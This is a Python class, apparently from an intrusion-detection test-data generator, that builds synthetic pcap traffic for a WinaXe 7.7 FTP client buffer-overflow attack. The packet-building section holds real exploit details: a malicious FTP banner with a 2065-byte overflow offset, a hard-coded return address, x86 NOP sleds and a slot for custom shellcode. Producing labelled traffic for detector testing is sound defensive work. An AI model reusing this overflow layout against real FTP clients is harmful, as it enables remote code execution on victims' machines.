FTPWinaXeExploit.py 12 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259
  1. import logging
  2. from random import randint
  3. from lea import Lea
  4. from scapy.layers.inet import IP, Ether, TCP
  5. from Attack import BaseAttack
  6. from Attack.AttackParameters import Parameter as Param
  7. from Attack.AttackParameters import ParameterTypes
  8. from ID2TLib.Utility import update_timestamp, generate_source_port_from_platform, get_rnd_x86_nop, forbidden_chars,\
  9. get_rnd_bytes, get_bytes_from_file
  10. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  11. # noinspection PyPep8
  12. ftp_port = 21
  13. class FTPWinaXeExploit(BaseAttack.BaseAttack):
  14. def __init__(self):
  15. """
  16. Creates a new instance of the FTPWinaXeExploit.
  17. """
  18. # Initialize attack
  19. super(FTPWinaXeExploit, self).__init__("FTPWinaXe Exploit", "Injects an WinaXe 7.7 FTP Exploit.",
  20. "Privilege elevation")
  21. # Define allowed parameters and their type
  22. self.supported_params = {
  23. Param.IP_SOURCE: ParameterTypes.TYPE_IP_ADDRESS,
  24. Param.IP_DESTINATION: ParameterTypes.TYPE_IP_ADDRESS,
  25. Param.MAC_SOURCE: ParameterTypes.TYPE_MAC_ADDRESS,
  26. Param.MAC_DESTINATION: ParameterTypes.TYPE_MAC_ADDRESS,
  27. Param.INJECT_AT_TIMESTAMP: ParameterTypes.TYPE_FLOAT,
  28. Param.INJECT_AFTER_PACKET: ParameterTypes.TYPE_PACKET_POSITION,
  29. Param.IP_SOURCE_RANDOMIZE: ParameterTypes.TYPE_BOOLEAN,
  30. Param.PACKETS_PER_SECOND: ParameterTypes.TYPE_FLOAT,
  31. Param.CUSTOM_PAYLOAD: ParameterTypes.TYPE_STRING,
  32. Param.CUSTOM_PAYLOAD_FILE: ParameterTypes.TYPE_STRING
  33. }
  34. def init_params(self):
  35. """
  36. Initialize the parameters of this attack using the user supplied command line parameters.
  37. Use the provided statistics to calculate default parameters and to process user
  38. supplied queries.
  39. """
  40. # PARAMETERS: initialize with default values
  41. # (values are overwritten if user specifies them)
  42. most_used_ip_address = self.statistics.get_most_used_ip_address()
  43. if isinstance(most_used_ip_address, list):
  44. most_used_ip_address = most_used_ip_address[0]
  45. # The most used IP class in background traffic
  46. most_used_ip_class = self.statistics.process_db_query("most_used(ipClass)")
  47. attacker_ip = self.generate_random_ipv4_address(most_used_ip_class)
  48. self.add_param_value(Param.IP_DESTINATION, attacker_ip)
  49. self.add_param_value(Param.MAC_DESTINATION, self.generate_random_mac_address())
  50. random_ip_address = self.statistics.get_random_ip_address()
  51. # victim should be valid and not equal to attacker
  52. while not self.is_valid_ip_address(random_ip_address) or random_ip_address == attacker_ip:
  53. random_ip_address = self.statistics.get_random_ip_address()
  54. self.add_param_value(Param.IP_SOURCE, random_ip_address)
  55. victim_mac = self.statistics.get_mac_address(random_ip_address)
  56. if isinstance(victim_mac, list) and len(victim_mac) == 0:
  57. victim_mac = self.generate_random_mac_address()
  58. self.add_param_value(Param.MAC_SOURCE, victim_mac)
  59. self.add_param_value(Param.PACKETS_PER_SECOND,
  60. (self.statistics.get_pps_sent(most_used_ip_address) +
  61. self.statistics.get_pps_received(most_used_ip_address)) / 2)
  62. self.add_param_value(Param.INJECT_AFTER_PACKET, randint(0, self.statistics.get_packet_count()))
  63. self.add_param_value(Param.IP_SOURCE_RANDOMIZE, 'False')
  64. self.add_param_value(Param.CUSTOM_PAYLOAD, '')
  65. self.add_param_value(Param.CUSTOM_PAYLOAD_FILE, '')
  66. def generate_attack_pcap(self):
  67. def get_ip_data(ip_address: str):
  68. """
  69. :param ip_address: The ip of which (packet-)data shall be returned
  70. :return: MSS, TTL and window size values of the given IP
  71. """
  72. # Set MSS (Maximum Segment Size) based on MSS distribution of IP address
  73. mss_dist = self.statistics.get_mss_distribution(ip_address)
  74. if len(mss_dist) > 0:
  75. mss_prob_dict = Lea.fromValFreqsDict(mss_dist)
  76. mss_value = mss_prob_dict.random()
  77. else:
  78. mss_value = self.statistics.process_db_query("most_used(mssValue)")
  79. # Set TTL based on TTL distribution of IP address
  80. ttl_dist = self.statistics.get_ttl_distribution(ip_address)
  81. if len(ttl_dist) > 0:
  82. ttl_prob_dict = Lea.fromValFreqsDict(ttl_dist)
  83. ttl_value = ttl_prob_dict.random()
  84. else:
  85. ttl_value = self.statistics.process_db_query("most_used(ttlValue)")
  86. # Set Window Size based on Window Size distribution of IP address
  87. win_dist = self.statistics.get_win_distribution(ip_address)
  88. if len(win_dist) > 0:
  89. win_prob_dict = Lea.fromValFreqsDict(win_dist)
  90. win_value = win_prob_dict.random()
  91. else:
  92. win_value = self.statistics.process_db_query("most_used(winSize)")
  93. return mss_value, ttl_value, win_value
  94. def check_payload_len(payload_len: int, limit: int):
  95. """
  96. Checks if the len of the payload exceeds a given limit
  97. :param payload_len: The length of the payload
  98. :param limit: The limit of the length of the payload which is allowed
  99. """
  100. if payload_len > limit:
  101. print("\nCustom payload too long: ", payload_len, " bytes. Should be a maximum of ", limit, " bytes.")
  102. exit(1)
  103. pps = self.get_param_value(Param.PACKETS_PER_SECOND)
  104. # Timestamp
  105. timestamp_next_pkt = self.get_param_value(Param.INJECT_AT_TIMESTAMP)
  106. # store start time of attack
  107. self.attack_start_utime = timestamp_next_pkt
  108. # Initialize parameters
  109. ip_victim = self.get_param_value(Param.IP_SOURCE)
  110. ip_attacker = self.get_param_value(Param.IP_DESTINATION)
  111. mac_victim = self.get_param_value(Param.MAC_SOURCE)
  112. mac_attacker = self.get_param_value(Param.MAC_DESTINATION)
  113. custom_payload = self.get_param_value(Param.CUSTOM_PAYLOAD)
  114. custom_payload_len = len(custom_payload)
  115. custom_payload_limit = 1000
  116. check_payload_len(custom_payload_len, custom_payload_limit)
  117. packets = []
  118. # Create random victim if specified
  119. if self.get_param_value(Param.IP_SOURCE_RANDOMIZE):
  120. # The most used IP class in background traffic
  121. most_used_ip_class = self.statistics.process_db_query("most_used(ipClass)")
  122. ip_victim = self.generate_random_ipv4_address(most_used_ip_class, 1)
  123. mac_victim = self.generate_random_mac_address()
  124. # Get MSS, TTL and Window size value for victim/attacker IP
  125. victim_mss_value, victim_ttl_value, victim_win_value = get_ip_data(ip_victim)
  126. attacker_mss_value, attacker_ttl_value, attacker_win_value = get_ip_data(ip_attacker)
  127. minDelay, maxDelay = self.get_reply_delay(ip_attacker)
  128. attacker_seq = randint(1000, 50000)
  129. victim_seq = randint(1000, 50000)
  130. sport = generate_source_port_from_platform("win7")
  131. # connection request from victim (client)
  132. victim_ether = Ether(src=mac_victim, dst=mac_attacker)
  133. victim_ip = IP(src=ip_victim, dst=ip_attacker, ttl=victim_ttl_value, flags='DF')
  134. request_tcp = TCP(sport=sport, dport=ftp_port, window=victim_win_value, flags='S',
  135. seq=victim_seq, options=[('MSS', victim_mss_value)])
  136. victim_seq += 1
  137. syn = (victim_ether / victim_ip / request_tcp)
  138. syn.time = timestamp_next_pkt
  139. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay)
  140. packets.append(syn)
  141. # response from attacker (server)
  142. attacker_ether = Ether(src=mac_attacker, dst=mac_victim)
  143. attacker_ip = IP(src=ip_attacker, dst=ip_victim, ttl=attacker_ttl_value, flags='DF')
  144. reply_tcp = TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='SA',
  145. window=attacker_win_value, options=[('MSS', attacker_mss_value)])
  146. attacker_seq += 1
  147. synack = (attacker_ether / attacker_ip / reply_tcp)
  148. synack.time = timestamp_next_pkt
  149. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay)
  150. packets.append(synack)
  151. # acknowledgement from victim (client)
  152. ack_tcp = TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A',
  153. window=victim_win_value, options=[('MSS', victim_mss_value)])
  154. ack = (victim_ether / victim_ip / ack_tcp)
  155. ack.time = timestamp_next_pkt
  156. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps)
  157. packets.append(ack)
  158. # FTP exploit packet
  159. ftp_tcp = TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='PA',
  160. window=attacker_win_value, options=[('MSS', attacker_mss_value)])
  161. characters = b'220'
  162. characters += get_rnd_bytes(2065, forbidden_chars)
  163. characters += b'\x96\x72\x01\x68'
  164. characters += get_rnd_x86_nop(10, False, forbidden_chars)
  165. custom_payload_file = self.get_param_value(Param.CUSTOM_PAYLOAD_FILE)
  166. if custom_payload == '':
  167. if custom_payload_file == '':
  168. payload = get_rnd_bytes(custom_payload_limit, forbidden_chars)
  169. else:
  170. payload = get_bytes_from_file(custom_payload_file)
  171. check_payload_len(len(payload), custom_payload_limit)
  172. payload += get_rnd_x86_nop(custom_payload_limit - len(payload), False, forbidden_chars)
  173. else:
  174. encoded_payload = custom_payload.encode()
  175. payload = get_rnd_x86_nop(custom_payload_limit - custom_payload_len, False, forbidden_chars)
  176. payload += encoded_payload
  177. characters += payload
  178. characters += get_rnd_x86_nop(20, False, forbidden_chars)
  179. characters += b'\r\n'
  180. ftp_tcp.add_payload(characters)
  181. ftp_buff = (attacker_ether / attacker_ip / ftp_tcp)
  182. ftp_buff.time = timestamp_next_pkt
  183. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps)
  184. packets.append(ftp_buff)
  185. attacker_seq += len(ftp_tcp.payload)
  186. # Fin Ack from attacker
  187. fin_ack_tcp = TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='FA',
  188. window=attacker_win_value, options=[('MSS', attacker_mss_value)])
  189. fin_ack = (attacker_ether / attacker_ip / fin_ack_tcp)
  190. fin_ack.time = timestamp_next_pkt
  191. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay)
  192. packets.append(fin_ack)
  193. # Ack from victim on FTP packet
  194. ftp_ack_tcp = TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A',
  195. window=victim_win_value, options=[('MSS', victim_mss_value)])
  196. ftp_ack = (victim_ether / victim_ip / ftp_ack_tcp)
  197. ftp_ack.time = timestamp_next_pkt
  198. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps)
  199. packets.append(ftp_ack)
  200. # Ack from victim on Fin/Ack of attacker
  201. fin_ack_ack_tcp = TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq+1, flags='A',
  202. window=victim_win_value, options=[('MSS', victim_mss_value)])
  203. fin_ack_ack = (victim_ether / victim_ip / fin_ack_ack_tcp)
  204. fin_ack_ack.time = timestamp_next_pkt
  205. packets.append(fin_ack_ack)
  206. # store end time of attack
  207. self.attack_end_utime = packets[-1].time
  208. # write attack packets to pcap
  209. pcap_path = self.write_attack_pcap(sorted(packets, key=lambda pkt: pkt.time))
  210. # return packets sorted by packet time_sec_start
  211. return len(packets), pcap_path